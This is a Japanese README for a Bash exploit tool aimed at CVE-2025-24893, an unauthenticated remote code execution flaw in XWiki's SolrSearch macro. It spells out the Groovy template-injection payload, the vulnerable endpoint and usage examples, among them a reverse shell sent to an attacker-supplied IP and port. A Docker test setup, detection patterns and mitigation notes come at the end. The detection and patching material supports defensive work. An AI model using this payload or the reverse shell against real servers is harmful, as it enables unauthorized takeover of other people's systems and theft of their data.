
CVE-2025-24893のBashエクスプロイト。XWiki PlatformにおけるSolrSearchマクロのテンプレートインジェクションを介した認証不要のリモートコード実行脆弱性です。
このスクリプトは、CVE-2025-24893の影響を受けるXWikiプラットフォームのバージョンを標的としたエクスプロイトのリファービッシュされたBash実装です。これは、SolrSearchマクロのテンプレートインジェクションの欠陥を介して、攻撃者が任意のGroovyコードを実行できるようにする重大な未認証のリモートコード実行脆弱性を利用します。
元のPythonによるエクスプロイト実装はさまざまなセキュリティ研究者によって作成され、ここでは簡素化された実行と使いやすさの向上を図ってBashユーザー向けに適合されています。
textパラメータ内のユーザー指定入力を適切に検証およびサニタイズできず、攻撃者が認証なしでレンダリングパイプラインに悪意のあるGroovyコードを注入することを可能にします。curl: HTTPリクエスト送信用。jq: ペイロードのURLエンコード用。実行権限を付与します:
chmod +x CVE-2025-24893
必要な引数を指定してスクリプトを実行します:
./CVE-2025-24893 <target_url> <command>
| パラメータ | 説明 |
|---|---|
<target_url> | 対象のXWiki URL(例: http://example.com または https://xwiki.example.org)。プロトコルは省略可能。 |
<command> | ターゲットサーバー上で実行するシステムコマンド。 |
ターゲットが脆弱かどうかを確認(idコマンドを実行):
./CVE-2025-24893 http://vulnerable-xwiki.example.com "id"
システム情報を取得:
./CVE-2025-24893 http://vulnerable-xwiki.example.com "uname -a"
テストファイルを作成:
./CVE-2025-24893 http://vulnerable-xwiki.example.com "touch /tmp/pwned"
リバースシェル(自分のIPとポートに置き換えてください):
./CVE-2025-24893 http://vulnerable-xwiki.example.com "bash -c 'bash -i >& /dev/tcp/YOUR_IP/YOUR_PORT 0>&1'"
コマンドライン引数の解析:
http://を追加して正規化します。ペイロードの構築:
.execute()を使用して指定されたコマンドを実行するGroovyコードペイロードを構築します。}}}{{async async=false}}{{groovy}}<code>{{/groovy}}{{/async}}URLエンコード:
jqを使用してペイロードをURLエンコードし、適切なHTTP送信を行います。エクスプロイト:
/xwiki/bin/get/Main/SolrSearch?media=rss&text=<encoded_payload>エクスプロイトチェーンは以下のように動作します:
}}}{{async async=false}}{{groovy}}'<command>'.execute();{{/groovy}}{{/async}}
}}} - 既存のマクロコンテキストを閉じます{{async async=false}} - 同期的な実行を保証します{{groovy}}...{{/groovy}} - 悪意のあるGroovyコードをラップします'<command>'.execute(); - 指定されたシステムコマンドを実行しますテスト目的で、Dockerを使用して脆弱なXWikiインスタンスをセットアップできます:
docker run -d -p 8080:8080 --name xwiki-vulnerable xwiki:15.10.10
# Wait for XWiki to start (may take 1-2 minutes)
./CVE-2025-24893 http://localhost:8080 "whoami"
この脆弱性の悪用に成功すると、認証されていない攻撃者は以下を行うことができます:
CISAおよび複数のセキュリティベンダーによると:
SolrSearchエンドポイントへの不審なリクエストを監視します:
GET /xwiki/bin/get/Main/SolrSearch?media=rss&text=*
以下を含むパターンを探します:
{{groovy}}{{async}}.execute()/tmpまたは他の書き込み可能なディレクトリ内の新しいファイルXWikiを修正バージョンにアップグレード:
一時的な回避策を適用(直ちにパッチを適用できない場合):
侵害の監視:
このスクリプトは教育目的のみを目的としています。所有していない、またはテストする明示的な許可を得ていないシステムに対してこのツールを不正に使用することは違法であり、非倫理的です。責任を持って使用してください。
テストする前に、システム所有者から明示的な書面による許可を得る必要があります。
このツールの作成者は、このスクリプトの誤用または損害について一切責任を負いません。ユーザーは、適切な承認を得ていること、および該当するすべての法律と規制を遵守していることを確認する単独の責任を負います。